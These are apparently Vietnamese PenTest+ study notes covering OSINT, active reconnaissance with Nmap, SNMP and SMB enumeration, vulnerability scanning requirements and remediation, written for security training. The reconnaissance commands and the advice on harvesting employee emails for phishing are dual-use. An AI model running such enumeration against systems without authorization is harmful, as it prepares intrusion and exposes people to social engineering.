Mục tiêu chính của việc thu thập thông tin trong một thử nghiệm thâm nhập (PenTest+) là xác định và nhận dạng các lỗ hổng bảo mật. Điều này bao gồm thu thập thông tin về tổ chức mục tiêu, quét lỗ hổng, và phân tích, sử dụng thông tin thu được. Giai đoạn này rất quan trọng để xây dựng một kế hoạch kiểm tra hiệu quả.

2. Footprinting & Enumeration (Dấu chân & Liệt kê)

Bước đầu tiên trong nhiều thử nghiệm thâm nhập là thu thập thông tin tình báo thông qua các phương pháp thu thập thông tin thụ động, thường được gọi là OSINT (Open Source Intelligence – Thông tin tình báo nguồn mở). Phương pháp thụ động là những phương pháp không tương tác trực tiếp với hệ thống, công nghệ, hệ thống phòng thủ, con người hoặc địa điểm của tổ chức mục tiêu.

2.1 OSINT (Open Source Intelligence)

OSINT bao gồm dữ liệu từ các nguồn có sẵn công khai như công ty đăng ký DNS, tìm kiếm trên web, công cụ tìm kiếm tập trung vào bảo mật (ví dụ: Shodan, Censys), phương tiện truyền thông xã hội, hồ sơ thuế doanh nghiệp, và thông tin công khai trên trang web của tổ chức.

“Mục tiêu của quá trình thu thập OSINT là thu được thông tin cần thiết để thực hiện kiểm tra thâm nhập hiệu quả.”

Các nguồn và công cụ hỗ trợ OSINT:

Các loại thông tin thu thập qua OSINT:

  • Vị trí và Dữ liệu tổ chức: Hồ sơ công khai (quyền sở hữu, thuế), thông tin về thiết kế bảo mật vật lý (camera, lối vào/ra, hàng rào).
  • Tài liệu điện tử: Thu thập thông tin từ tài liệu (công nghệ sử dụng, tên/email nhân viên, quy trình nội bộ) và siêu dữ liệu tài liệu bằng các công cụ như ExifTool hoặc FOCA. “Trong nhiều trường hợp, siêu dữ liệu của một tệp có thể hữu ích, hoặc hơn thế, hơn là văn bản thực tế hoặc dữ liệu khác của nó!”
  • Các kho lưu trữ web như Internet Archive (https://archive.org) cũng có thể chứa thông tin đã bị xóa.
  • Dữ liệu tài chính: Hồ sơ tài chính công khai, ví dụ qua hệ thống EDGAR của SEC (https://www.sec.gov/edgar).
  • Nhân viên: Sử dụng danh bạ trực tuyến, mạng xã hội (LinkedIn, Facebook), địa chỉ email, ấn phẩm và hồ sơ công khai của công ty.
  • Cơ sở hạ tầng và Mạng:Domains (Tên miền): Kiểm tra thông tin WHOIS để xác định chủ sở hữu miền, thông tin liên hệ, máy chủ định danh và các miền/máy chủ khác. WHOIS có thể được truy vấn thông qua các NIC khu vực (AFRINIC, APNIC, ARIN, LACNIC, RIPE) hoặc https://www.whois.com/whois/.
  • DNS và Traceroute: Sử dụng lệnh Nslookup (Windows, Linux, MacOS) để chuyển đổi tên miền thành địa chỉ IP và ngược lại. Traceroute (hoặc tracert trên Windows) để khám phá đường đi của gói tin đến một máy chủ, cung cấp thông tin về cấu trúc liên kết mạng nội bộ.
  • Zone Transfers (Chuyển vùng DNS): Cố gắng sao chép cơ sở dữ liệu DNS giữa các máy chủ DNS để thu thập thông tin chi tiết (máy chủ định danh, địa chỉ liên hệ, bản ghi MX, v.v.). Các công cụ như host, dig hoặc Nmap (sử dụng NSE) có thể được dùng.
  • IP Ranges: Tra cứu dải IP để xác định chủ sở hữu (ví dụ: qua https://www.whois.com/whois/), giúp xác định phạm vi kiểm tra.
  • Route – Định tuyến: Sử dụng BGP Looking Glasses (http://www.bgp4.as/looking-glasses) để thu thập thông tin định tuyến, cung cấp cái nhìn về cách thiết lập kết nối mạng bên ngoài của tổ chức.
  • Công cụ tổng hợp dữ liệu: theHarvester, Maltego, Recon-ng giúp thu thập, tổng hợp và phân tích lượng lớn dữ liệu.
  • Công cụ tìm kiếm bảo mật: Shodan (https://www.shodan.io) và Censys (https://censys.io) cho phép tìm kiếm các hệ thống bị lộ dựa trên miền hoặc địa chỉ IP, cung cấp thông tin về máy chủ, dịch vụ mà không cần thăm dò chủ động.

3. Active Reconnaissance and Enumeration (Trinh sát và Liệt kê Chủ động)

Sau khi thu thập đủ OSINT, người thử nghiệm chuyển sang giai đoạn trinh sát chủ động, nơi họ tương tác trực tiếp với hệ thống mục tiêu.

3.1 Hosts (Máy chủ)

  • Xác định máy chủ: Sử dụng hệ thống quản lý trung tâm (SCCM), nhật ký mạng (DHCP, bộ định tuyến), bảng ARP, và quan trọng nhất là quét cổng.

3.2 Services (Dịch vụ)

  • Service Fingerprinting (Nhận dạng dịch vụ): Xác định các dịch vụ đang chạy trên các cổng cụ thể để tìm các mục tiêu tiềm năng và lỗ hổng. “Nhận dạng dịch vụ thường được thực hiện bằng máy quét cổng như nmap -sV”.
  • Cổng phổ biến: Hiểu các cổng “nổi tiếng” (0-1023) và cổng đã đăng ký (1024-49151). Luôn nhớ rằng dịch vụ có thể chạy trên các cổng thay thế.

PortTCP/UDPService20TCP, UDPFTP data21TCP, UDPFTP control22TCP, UDPSSH23TCP, UDPTelnet25TCP, UDPSMTP (email)53UDPDNS67TCP, UDPDHCP server68TCP, UDPDHCP client69TCP, UDPTFTP80TCP, UDPHTTP88TCP, UDPKerberos110TCP, UDPPOP3123TCP, UDPNTP135TCP, UDPMicrosoft EPMAP136-139TCP, UDPNetBIOS143TCPIMAP161UDPSNMP162TCP, UDPSNMP traps389TCP, UDPLDAP443TCP, UDPHTTPS445TCPMicrosoft AD and SMB500TCP, UDPISAKMP, IKE515TCPLPD print services1433TCPMicrosoft SQL Server1434TCP, UDPMicrosoft SQL Monitor1521TCPOracle database listener1812, 1813TCP, UDPRADIUS3.3 Service & Version Identification (Nhận dạng Dịch vụ & Phiên bản)

Xác định phiên bản dịch vụ cung cấp thông tin hữu ích về các lỗ hổng tiềm ẩn. Thực hiện bằng cách kết nối và lấy biểu ngữ hoặc thông tin kết nối, hoặc so sánh phản hồi với chữ ký dịch vụ đã biết.

3.4 Operating System Fingerprinting (Lấy dấu vân tay Hệ điều hành)

Xác định hệ điều hành dựa trên lưu lượng mạng bằng cách so sánh phản hồi với các gói TCP và UDP được gửi đến máy chủ từ xa.

3.5 Nmap

Nmap là trình quét lỗ hổng dòng lệnh phổ biến nhất, miễn phí và mã nguồn mở. Nó cung cấp nhiều chế độ quét, lấy dấu vân tay hệ điều hành, nhận dạng dịch vụ.

Các cờ Nmap phổ biến:

  • Kỹ thuật quét:-sS: Quét TCP SYN (mặc định, nhanh, qua tường lửa).
  • -sT: Quét kết nối TCP (hoàn thành bắt tay 3 chiều, khi không có đặc quyền).
  • -sU: Quét UDP.
  • Dải cổng: -p 1-65535 (chỉ định cổng hoặc dải).
  • Phát hiện phiên bản dịch vụ: -sV.
  • Phát hiện hệ điều hành: -O.
  • Tắt Ping: -Pn.
  • Mức độ tích cực quét: -T (0-5 hoặc paranoid | sneaky | polite | normal | aggressive | insane). -T3 (normal) là mặc định.
  • Đầu vào từ tệp đích: -IL.
  • Xuất ra nhiều định dạng:-oX: XML.
  • -oN: Bình thường.
  • -oG: Greppable (ít dùng hơn).
  • -oA <basename>: Xuất ra tất cả các định dạng trên (basename.nmap, basename.xml, basename.gmap).

Ví dụ lệnh Nmap: nmap -sT -sV -Pn -p 1-65435 -T2 -oA scanme scanme.nmap.org

  • Zenmap là giao diện người dùng đồ họa chính thức của Nmap, cung cấp khả năng trực quan hóa cấu trúc liên kết.

3.6 Networks, Topologies, and Network Traffic (Mạng, Cấu trúc liên kết và Lưu lượng mạng)

  • Network Topology (Cấu trúc liên kết mạng): Hiểu bố cục mạng giúp thiết kế quy trình quét và tấn công. Sơ đồ cấu trúc liên kết có thể được tạo bằng Zenmap.
  • Eavesdropping and Packet Capture (Nghe lén và Bắt gói tin):Wireshark: Thu thập thông tin thụ động về mạng (địa chỉ IP, MAC, dịch vụ, nội dung lưu lượng không mã hóa).
  • Kismet: Chuyên dụng cho mạng không dây, tìm SSID ẩn, liên kết thụ động, giải mã lưu lượng mã hóa.
  • SNMP Sweeps: Thu thập thông tin về thiết bị mạng (yêu cầu chuỗi cộng đồng).

3.7 Packet Crafting and Inspection (Tạo và Kiểm tra Gói tin)

Tạo gói tin thủ công hoặc sử dụng công cụ để gửi hoặc sửa đổi gói tin:

  • Xem xét và giải mã gói tin.
  • Lắp ráp gói tin từ đầu.
  • Chỉnh sửa các gói tin hiện có.
  • Phát lại các gói tin.

Công cụ: Hping là phổ biến để tạo gói tùy chỉnh. Scapy, Yersina, NETCAT cũng được sử dụng.

3.8 Enumeration (Liệt kê)

Xây dựng danh sách các mục tiêu tiềm năng:

  • Users (Người dùng): Liệt kê người dùng qua SMB, SNMP, hoặc từ tệp người dùng, thư mục, dịch vụ thư mục khi có quyền truy cập. Thu thập địa chỉ email cho các chiến dịch lừa đảo.
  • theHarvester, Metasploit (auxiliary/gather/search_email_collector) là các công cụ hữu ích.
  • Sử dụng snmpwalk để liệt kê người dùng SNMP (ví dụ: snmpwalk public -v1 10.0.0.1 1 | grep 77.1.2.25 | cut -d “” -f4).
  • samrdump từ thư viện Impacket để liệt kê người dùng Samba.
  • Social Networking Sites (Mạng xã hội): Xác định tài khoản mạng xã hội của cá nhân hoặc tổ chức cho các cuộc tấn công kỹ thuật xã hội hoặc đặt lại mật khẩu.
  • Groups (Nhóm): Hiểu các nhóm (Active Directory, ứng dụng) và quyền liên quan để xác định các cơ hội nâng cao đặc quyền.
  • Relationships (Mối quan hệ): Các công cụ như Immersion của MIT Media Lab giúp xác định mối quan hệ giữa các người dùng.
  • Shares (Thư mục chia sẻ): Liệt kê các thư mục chia sẻ Samba (SMB) để tìm kiếm các chia sẻ có thể đọc/ghi. Các công cụ như SMBMap hoặc script smb-enum-shared và smb-enum-users của Nmap.
  • Web Pages and Servers (Trang web và Máy chủ): Đánh giá ứng dụng web bằng các công cụ như w3af, Burp Suite.
  • Applications (Ứng dụng): Liệt kê tất cả các ứng dụng của một tổ chức là thách thức, thường bắt đầu với các ứng dụng công khai.
  • Fingerprinting (Nhận dạng): Biết tên ứng dụng, số phiên bản, máy chủ web cơ bản, ngăn xếp ứng dụng, OS máy chủ. Thường bắt đầu bằng việc lấy biểu ngữ (banner grabbing) bằng NETCAT hoặc Nmap (-sV).
  • API and Interface Enumeration (Liệt kê API và Giao diện): Các API bị lộ có thể rất có giá trị nếu kết hợp với quyền truy cập mở hoặc khóa API.
  • Certificate Enumeration and Inspection (Liệt kê và Kiểm tra Chứng chỉ): Thu thập thông tin chứng chỉ (qua Nmap script ssl-cert NSE hoặc máy quét lỗ hổng) để xác định chứng chỉ đã hết hạn hoặc có vấn đề, có thể chỉ ra các vấn đề quản trị.

4. Information Gathering and Code (Thu thập thông tin và Mã nguồn)

Phân tích mã nguồn, tập lệnh và mã đã biên dịch là một phần quan trọng để thu thập thông tin:

  • Scripts and Interpreted Code (Tập lệnh và Mã thông dịch): Mã này thường dễ tiếp cận hơn khi đã vượt qua các lớp bảo mật bên ngoài.
  • Decompilation (Dịch ngược): Đối với mã đã biên dịch, cần trình dịch ngược để chuyển đổi thành mã nguồn có thể đọc được. Tiện ích strings của Linux có thể khôi phục các chuỗi văn bản từ mã đã biên dịch.
  • Debugging (Gỡ lỗi): Sử dụng trình gỡ lỗi để xem lại mã nguồn, giúp thu thập thông tin bổ sung.

5. Information Gathering and Defenses (Thu thập thông tin và Biện pháp phòng thủ)

Các tổ chức triển khai các biện pháp phòng thủ để chống lại các nỗ lực thu thập thông tin:

  • Phòng thủ chống lại Trinh sát chủ động:Hạn chế phơi bày dịch vụ ra bên ngoài.
  • Sử dụng IPS hoặc công nghệ phòng thủ tương tự để hạn chế/dừng các thăm dò.
  • Sử dụng hệ thống giám sát và cảnh báo để phát hiện các sự kiện đáng ngờ.
  • Các hệ thống phòng thủ tích cực có thể chặn hoặc ngắt kết nối các hệ thống/cổng mạng thực hiện các hoạt động trinh sát chủ động.
  • Phòng chống Thu thập thông tin thụ động: Khó khăn hơn vì dựa vào việc kiểm soát thông tin công khai.
  • Danh sách đen hệ thống/mạng lạm dụng dịch vụ.
  • Sử dụng CAPTCHA để ngăn chặn bot.
  • Cung cấp dịch vụ bảo mật sử dụng thông tin đăng ký của bên thứ ba.
  • Thực hiện giới hạn tốc độ tra cứu.
  • Không xuất bản tệp vùng nếu có thể (chỉ áp dụng cho một số ccTLD).

Kết luận

“Thu thập thông tin về một tổ chức là rất quan trọng đối với các thử nghiệm thâm nhập.” Một chuyên gia thử nghiệm thâm nhập thành công cần có khả năng xây dựng một kế hoạch thu thập thông tin toàn diện, hiểu rõ các công cụ phổ biến, cách sử dụng chúng, và cách diễn giải kết quả đầu ra. Giai đoạn thu thập thông tin cung cấp nền tảng cho mọi giai đoạn tiếp theo của thử nghiệm thâm nhập và tiếp tục xuyên suốt quá trình này.

Chương 4 : Quét lỗ hổng bảo mật

I. Giới thiệu về Quét lỗ hổng bảo mật

Quét lỗ hổng bảo mật là một công cụ thiết yếu cho các nhóm an ninh mạng và người kiểm tra thâm nhập để xác định các điểm yếu trong hệ điều hành, nền tảng và ứng dụng. Các máy quét tự động “có khả năng quét nhanh các hệ thống và toàn bộ mạng trong nỗ lực tìm kiếm và phát hiện các lỗ hổng chưa được xác định trước đó bằng cách sử dụng một loạt các bài kiểm tra.”

Chương trình quản lý lỗ hổng hiệu quả giúp xác định, ưu tiên và khắc phục các lỗ hổng trước khi kẻ tấn công có thể khai thác chúng. Chúng sử dụng “phương pháp tiếp cận có tổ chức để quét các tài sản thông tin của doanh nghiệp tìm lỗ hổng, sử dụng quy trình làm việc xác định để khắc phục các lỗ hổng đó và thực hiện đánh giá liên tục để cung cấp cho các nhà quản lý cái nhìn sâu sắc về tình trạng an ninh mạng của doanh nghiệp hiện nay.” Người kiểm tra thâm nhập sử dụng các công cụ tương tự để đánh giá tư thế bảo mật của tổ chức và xác định các mục tiêu tiềm năng để thăm dò và khai thác.

II. Phát triển Kế hoạch Quét Lỗ hổng Bảo mật

Việc phát triển một kế hoạch quét lỗ hổng bảo mật đòi hỏi phải trả lời các câu hỏi quan trọng như:

  • Cách thiết lập phạm vi quét.
  • Những giới hạn nào sẽ được áp dụng cho quá trình quét (ví dụ: quét một phần hay toàn bộ).
  • Có cần quét một cách “lén lút” hay không để tránh bị phát hiện.
  • Có cần bổ sung quét mạng bằng cách quét ứng dụng web hay cơ sở dữ liệu hay không.
  • Kết quả quét có thể được sử dụng để phát hiện cấu hình tuân thủ hoặc đưa vào quy trình khắc phục tự động hay không.

III. Xác định Yêu cầu Quản lý Lỗ hổng Bảo mật

Các công cụ quét lỗ hổng được các nhóm an ninh mạng doanh nghiệp và người kiểm tra thâm nhập sử dụng có sự chồng chéo đáng kể. Một chương trình quản lý lỗ hổng bảo mật mạnh mẽ có thể là một nguồn thông tin có giá trị cho người kiểm tra thâm nhập.

Khi phát triển một chương trình quản lý lỗ hổng, tổ chức phải xác định “bất kỳ yêu cầu bên trong hoặc bên ngoài nào để quét lỗ hổng bảo mật.” Các yêu cầu này có thể xuất phát từ “môi trường pháp lý mà tổ chức hoạt động hoặc chúng có thể đến từ các yêu cầu định hướng chính sách nội bộ.”

Môi trường Pháp lý

Một số luật và quy định, mặc dù không trực tiếp quy định việc quét lỗ hổng, nhưng ngụ ý yêu cầu này (ví dụ: HIPAA, GLBA). Tuy nhiên, có hai chương trình quy định yêu cầu cụ thể việc triển khai chương trình quản lý lỗ hổng:

  1. Tiêu chuẩn Bảo mật Dữ liệu Ngành Thẻ Thanh toán (PCI DSS):
  • PCI DSS không phải là luật mà là “yêu cầu hợp đồng” do Hội đồng Tiêu chuẩn Bảo mật Ngành Thẻ Thanh toán (PCI SSC) duy trì.
  • Nó quy định các biện pháp kiểm soát bảo mật cụ thể cho những người xử lý giao dịch thẻ tín dụng.
  • Các yêu cầu cụ thể bao gồm:
  • “Các tổ chức phải chạy quét lỗ hổng bên trong và cả bên ngoài (yêu cầu PCI DSS 11.2).”
  • Thực hiện quét “ít nhất hàng quý và sau bất kỳ thay đổi đáng kể nào trong mạng.”
  • Quét nội bộ phải được tiến hành bởi “nhân viên có trình độ.”
  • Khắc phục các lỗ hổng “nguy cơ cao” và quét lại cho đến khi nhận được báo cáo “sạch.”
  • Quét bên ngoài phải được thực hiện bởi “Nhà cung cấp quét lỗ hổng bảo mật được chấp thuận (ASV) được PCI SSC ủy quyền.”
  • Lưu ý quan trọng: “Bạn không bao giờ nên tiến hành quét lỗ hổng bảo mật trừ khi bạn được phép rõ ràng để làm như vậy.”
  1. Đạo luật Quản lý Bảo mật Thông tin Liên bang (FISMA):
  • FISMA năm 2002 (và bản cập nhật FISMA năm 2014) yêu cầu các cơ quan chính phủ và các tổ chức hoạt động thay mặt họ tuân thủ các tiêu chuẩn bảo mật.
  • Các biện pháp kiểm soát phụ thuộc vào phân loại tác động của hệ thống (thấp, trung bình, cao) theo FIPS 199.
  • Tất cả các hệ thống thông tin liên bang phải đáp ứng các yêu cầu cơ bản về quét lỗ hổng được mô tả trong NIST 800-53, bao gồm:
  • “Quét các lỗ hổng trong hệ thống thông tin và các ứng dụng được lưu trữ.”
  • Sử dụng “các công cụ và kỹ thuật quét lỗ hổng bảo mật tạo điều kiện cho khả năng tương tác giữa các công cụ và tự động hóa các phần của quy trình quản lý lỗ hổng.”
  • “Phân tích các báo cáo quét lỗ hổng bảo mật và kết quả từ các đánh giá kiểm soát an ninh.”
  • “Khắc phục các lỗ hổng hợp pháp phù hợp với đánh giá rủi ro của tổ chức.”
  • “Chia sẻ thông tin thu được từ quá trình quét lỗ hổng bảo mật và đánh giá kiểm soát bảo mật.”
  • NIST 800-53 cũng mô tả các cải tiến kiểm soát bổ sung tùy thuộc vào phân loại tác động.

Chính sách Công ty

Ngay cả khi không có yêu cầu quy định, nhiều tổ chức “bắt buộc quét lỗ hổng bảo mật trong chính sách của công ty” vì nó được coi là một thành phần quan trọng của bất kỳ chương trình bảo mật thông tin nào.

Hỗ trợ Kiểm tra Thâm nhập

Người kiểm tra thâm nhập có thể có “các yêu cầu quét chuyên biệt để hỗ trợ các nỗ lực kiểm tra thâm nhập cụ thể.” Điều này bao gồm quét sâu để thu thập thông tin hoặc quét tập trung vào các dịch vụ hoặc môi trường cụ thể (ví dụ: IoT).

IV. Xác định Mục tiêu Quét

Sau khi xác định các yêu cầu, bước tiếp theo là xác định các hệ thống sẽ được quét. Các yếu tố ảnh hưởng đến mục tiêu quét bao gồm:

  • “Phân loại dữ liệu của thông tin được hệ thống lưu trữ, xử lý hoặc truyền đi là gì?”
  • “Hệ thống có được tiếp xúc với Internet hoặc các mạng công cộng hoặc bán công cộng khác không?”
  • “Hệ thống cung cấp những dịch vụ nào?”
  • “Hệ thống có phải là hệ thống sản xuất, thử nghiệm hay phát triển không?”

Các công cụ khám phá có thể được sử dụng để tự động xây dựng “bản kiểm kê tài sản” (ví dụ: QualysGuard asset map). Thông tin này giúp quyết định hệ thống nào là quan trọng và hướng dẫn loại quét, tần suất và ưu tiên khắc phục.

V. Xác định Tần suất Quét

Các công cụ quét lỗ hổng cho phép lên lịch quét tự động. Nhiều yếu tố ảnh hưởng đến tần suất quét:

  • Khẩu vị rủi ro: Tổ chức sợ rủi ro hơn sẽ quét thường xuyên hơn.
  • Yêu cầu quy định: PCI DSS hoặc FISMA có thể quy định tần suất tối thiểu.
  • Hạn chế kỹ thuật: Khả năng của hệ thống quét và băng thông có thể giới hạn tần suất.
  • Ràng buộc kinh doanh: Tránh làm gián đoạn các quy trình quan trọng trong thời gian hoạt động cao.
  • Giới hạn cấp phép: Có thể giới hạn băng thông hoặc số lần quét đồng thời.
  • Hạn chế hoạt động: Khả năng giám sát và phản ứng của nhóm an ninh mạng.

Người kiểm tra thâm nhập cần hiểu các quyết định đánh đổi này để bổ sung các bản quét hiện có bằng các bản quét tùy chỉnh.

VI. Cấu hình và Thực hiện Quét Lỗ hổng Bảo mật

Việc cấu hình các công cụ quản lý lỗ hổng là rất quan trọng để thực hiện quét theo yêu cầu.

Xác định Phạm vi Quét Lỗ hổng

Phạm vi quét xác định “mức độ quét,” bao gồm:

  • “Hệ thống, mạng, dịch vụ, ứng dụng và giao thức nào sẽ được bao gồm.”
  • “Các biện pháp kỹ thuật nào sẽ được sử dụng để kiểm tra xem các hệ thống có trên mạng hay không.”
  • “Những thử nghiệm nào sẽ được thực hiện đối với các hệ thống được phát hiện.”

Trong kiểm tra thâm nhập, phạm vi phải được hướng dẫn bởi “tuyên bố công việc (SOW) đã thỏa thuận,” và người kiểm tra phải “luôn ở trong phạm vi đã thỏa thuận của SOW của họ.”

Phạm vi Quét Tuân thủ: Phân đoạn mạng có thể giảm đáng kể phạm vi các hệ thống cần tuân thủ, giảm chi phí và khối lượng công việc khắc phục.

Cấu hình Quét Lỗ hổng Bảo mật

Các giải pháp quản lý lỗ hổng cung cấp nhiều tùy chọn cấu hình:

  • Mức độ nhạy quét: Điều chỉnh cài đặt quét để phù hợp với nhu cầu cụ thể và giảm thiểu gián đoạn. “Tắt các plug-in không cần thiết sẽ cải thiện tốc độ quét bằng cách bỏ qua các kiểm tra không cần thiết và cũng có thể giảm số lượng kết quả dương tính giả.”
  • Quét các hệ thống dễ vỡ: Cẩn thận khi quét các hệ thống sản xuất, đặc biệt là tài sản phi truyền thống (ICS, IoT, thiết bị y tế). Nên thử nghiệm trong môi trường sandbox hoặc sử dụng quét ẩn trong kiểm tra thâm nhập để tránh gây chú ý.
  • Bổ sung quét mạng:Quét được xác thực: Cung cấp thông tin xác thực cho máy quét để kết nối với máy chủ mục tiêu và truy xuất thông tin cấu hình, cải thiện độ chính xác và giảm dương tính giả. “Quét được xác thực thường chỉ lấy thông tin từ máy chủ đích và không thực hiện thay đổi đối với chính máy chủ.” Nên sử dụng tài khoản chỉ đọc.
  • Quét dựa trên tác nhân: Cài đặt các tác nhân phần mềm nhỏ trên mỗi máy chủ mục tiêu để tiến hành quét “từ trong ra ngoài,” cung cấp “cái nhìn chính xác nhất về trạng thái thực của máy chủ.”
  • Phối cảnh quét: Tiến hành quét từ nhiều vị trí mạng khác nhau (bên ngoài từ Internet, bên trong từ mạng công ty, trong trung tâm dữ liệu) để có cái nhìn toàn diện. PCI DSS yêu cầu cả quét nội bộ và bên ngoài. Người kiểm tra thâm nhập phải “nhận thức sâu sắc về cấu trúc liên kết mạng của môi trường đang thử nghiệm và vị trí của các công cụ của họ trên mạng có thể ảnh hưởng như thế nào đến kết quả quét.”

Bảo trì Máy quét

Giống như bất kỳ công nghệ nào, máy quét lỗ hổng cần được bảo trì thường xuyên:

  • Phần mềm máy quét: Vá lỗi thường xuyên để bảo vệ khỏi các lỗ hổng của chính máy quét và nhận các cải tiến tính năng.
  • Nguồn cấp Plug-in lỗ hổng: Cập nhật plug-in thường xuyên (tốt nhất là hàng ngày) để máy quét có thể chống lại các lỗ hổng mới. Quá trình này có thể được tự động hóa.

Giao thức Tự động hóa Nội dung Bảo mật (SCAP): Một nỗ lực của NIST để chuẩn hóa thông tin liên quan đến bảo mật, bao gồm:

  • CCE (Common Configuration Enumeration)
  • CPE (Common Platform Enumeration)
  • CVE (Common Vulnerabilities and Exposures)
  • CVSS (Common Vulnerability Scoring System)
  • XCCDF (Extensible Configuration Checklist Description Format)
  • OVAL (Open Vulnerability and Assessment Language)

VII. Kiểm thử Bảo mật Phần mềm

“Bất kể nhóm phát triển ứng dụng có kỹ năng đến đâu, sẽ có một số sai sót trong mã của họ.” Thống kê từ Veracode cho thấy hơn 70% ứng dụng không vượt qua được bài kiểm tra 10 vấn đề bảo mật hàng đầu của OWASP.

Phân tích và Kiểm thử Mã

Mã nguồn có thể chứa nhiều lỗi. “Thông tin này có thể chỉ ra các lỗ hổng nghiêm trọng chưa được phát hiện có thể bị khai thác trong quá trình kiểm tra thâm nhập.”

  • Phân tích Mã Tĩnh (Static Code Analysis): “Được tiến hành bằng cách xem xét mã cho một ứng dụng.” Đây là một loại kiểm thử hộp trắng, không chạy chương trình mà tập trung vào cách chương trình được viết và chức năng dự định. Có thể tự động hoặc thủ công.
  • Phân tích Mã Động (Dynamic Code Analysis): “Dựa vào việc thực thi mã trong khi cung cấp đầu vào để kiểm tra phần mềm.” Thường được tự động hóa. Người kiểm tra thâm nhập thường thực hiện phân tích động hơn do hạn chế quyền truy cập mã nguồn.
  • Fuzzing: “Gửi dữ liệu ngẫu nhiên hoặc không hợp lệ đến một ứng dụng để kiểm tra khả năng xử lý dữ liệu không mong muốn của ứng dụng.” Giúp phát hiện các vấn đề logic, xác thực đầu vào và rò rỉ bộ nhớ. Thường được tự động hóa và có thể được thực hiện bên ngoài, nhưng là một phương pháp “ồn ào.”

Quét Lỗ hổng Ứng dụng Web

Các ứng dụng dựa trên web là mục tiêu phổ biến. Máy quét lỗ hổng ứng dụng web chuyên dụng cung cấp các công cụ để xác định sự cố với ứng dụng, máy chủ web và cơ sở dữ liệu bên dưới. Các công cụ phổ biến bao gồm Acunetix WVS, Burp Suite, Nikto (nguồn mở).

  • Có thể chạy trực tiếp hoặc được hướng dẫn qua ứng dụng.
  • Tạo báo cáo chi tiết về các vấn đề được phát hiện.
  • Ngoài quét tự động, “quét thủ công thường xuyên được tiến hành để xác định các vấn đề mà máy quét tự động có thể bỏ sót,” thường sử dụng các công cụ proxy chặn như Burp Suite hoặc TamperData.

Quét Lỗ hổng Cơ sở dữ liệu

Cơ sở dữ liệu chứa nhiều thông tin nhạy cảm. “Máy quét lỗ hổng cơ sở dữ liệu là công cụ cho phép người kiểm tra thâm nhập, các chuyên gia bảo mật khác và kẻ tấn công quét cả cơ sở dữ liệu và ứng dụng web để tìm các lỗ hổng có thể ảnh hưởng đến bảo mật cơ sở dữ liệu.” Sqlmap là một công cụ nguồn mở phổ biến.

VIII. Phát triển Quy trình Khắc phục

Quét lỗ hổng tạo ra nhiều vấn đề cần chú ý. Các tổ chức nên phát triển “một quy trình khắc phục cho phép ưu tiên các lỗ hổng và theo dõi việc khắc phục thông qua chu trình phát hiện, khắc phục và thử nghiệm.” (Hình 4.16: Chu trình quản lý lỗ hổng: Phát hiện -> Khắc phục -> Kiểm tra).

  • Quy trình khắc phục nên được tự động hóa càng nhiều càng tốt.
  • Nhiều sản phẩm quản lý lỗ hổng có cơ chế quy trình làm việc tích hợp hoặc có thể tích hợp với các công cụ quản lý dịch vụ CNTT (ITSM) hiện có.
  • Kiểm tra thâm nhập và quy trình khắc phục: Người kiểm tra thâm nhập thường là nguồn cung cấp thông tin về lỗ hổng mới. SOW nên giải quyết thời điểm thích hợp để thông báo cho nhóm bảo mật về các lỗ hổng, đặc biệt là những lỗ hổng nghiêm trọng cần khắc phục ngay lập tức.
  • Quét liên tục và giám sát liên tục: Một xu hướng quan trọng là chuyển sang quét liên tục, kiểm tra lỗ hổng thường xuyên khi tài nguyên cho phép, và giám sát liên tục kết hợp dữ liệu dựa trên tác nhân để báo cáo các thay đổi cấu hình liên quan đến bảo mật ngay khi chúng xảy ra.

Ưu tiên Khắc phục

“Không có công thức cụ thể để ưu tiên các lỗ hổng.” Các nhà phân tích phải xem xét nhiều yếu tố:

  • Tính nghiêm trọng của hệ thống và thông tin bị ảnh hưởng: Đánh giá tác động đến tính bảo mật, tính toàn vẹn và tính khả dụng.
  • Độ khó của việc khắc phục lỗ hổng: Chi phí nhân lực hoặc tài chính cần thiết.
  • Mức độ nghiêm trọng của lỗ hổng: Sử dụng CVSS để cung cấp xếp hạng mức độ nghiêm trọng tương đối.
  • Mức độ phơi nhiễm của lỗ hổng: Lỗ hổng tiếp xúc với Internet thường có mức độ ưu tiên cao hơn so với lỗ hổng nội bộ.

Kiểm thử và Triển khai Bản sửa lỗi

Trước khi triển khai khắc phục, “các chuyên gia an ninh mạng và các nhà công nghệ khác nên kiểm tra kỹ lưỡng các bản sửa lỗi đã lên kế hoạch của họ trong môi trường hộp cát” để xác định bất kỳ tác dụng phụ không lường trước được.

IX. Vượt qua các Rào cản đối với Quét Lỗ hổng Bảo mật

Mặc dù quan trọng, quét lỗ hổng có thể gặp phải sự phản đối từ các phòng ban khác.

  • Giảm hiệu suất dịch vụ: Quét tiêu tốn băng thông và tài nguyên. Giải pháp là điều chỉnh quá trình quét để tiêu thụ ít băng thông hơn và phối hợp thời gian quét với lịch trình hoạt động.
  • Cam kết với khách hàng: Thỏa thuận mức độ dịch vụ (SLA) có thể đặt ra kỳ vọng về thời gian hoạt động và hiệu suất. Nên tham gia vào việc tạo các thỏa thuận này từ đầu để bao gồm ngôn ngữ dự đoán việc quét lỗ hổng và tác động tiềm ẩn của chúng.
  • Quy trình quản lý CNTT và quản lý thay đổi: Các quy trình quan liêu có thể cản trở việc thực hiện quét. Các nhà phân tích an ninh mạng nên làm việc trong khuôn khổ các quy trình này để có được sự hỗ trợ cần thiết.

X. Tóm tắt

“Quét lỗ hổng bảo mật cung cấp cho những người thử nghiệm thâm nhập một nguồn thông tin vô giá khi họ bắt đầu thử nghiệm.” Việc này giúp xác định các hệ thống dễ bị khai thác và các vector tấn công tiềm năng. Mọi hoạt động quét lỗ hổng nên bắt đầu bằng việc xác định các yêu cầu, mục tiêu và tần suất quét. Sau đó, cấu hình và thực hiện quét, tốt nhất là thông qua hệ thống lập lịch tự động. Chương tiếp theo sẽ tập trung vào phân tích kết quả quét và sử dụng chúng trong kiểm tra thâm nhập.

Chương 5 Phân tích và Quét Lỗ hổng Bảo mật

Tài liệu này cung cấp một cái nhìn tổng quan toàn diện về quá trình phân tích và diễn giải các báo cáo quét lỗ hổng bảo mật, vai trò của Hệ thống Chấm điểm Lỗ hổng Chung (CVSS), và các loại lỗ hổng phổ biến mà các kiểm tra viên thâm nhập (pentester) thường gặp.

1. Vai trò của Kiểm tra viên Thâm nhập trong phân tích báo cáo lỗ hổng

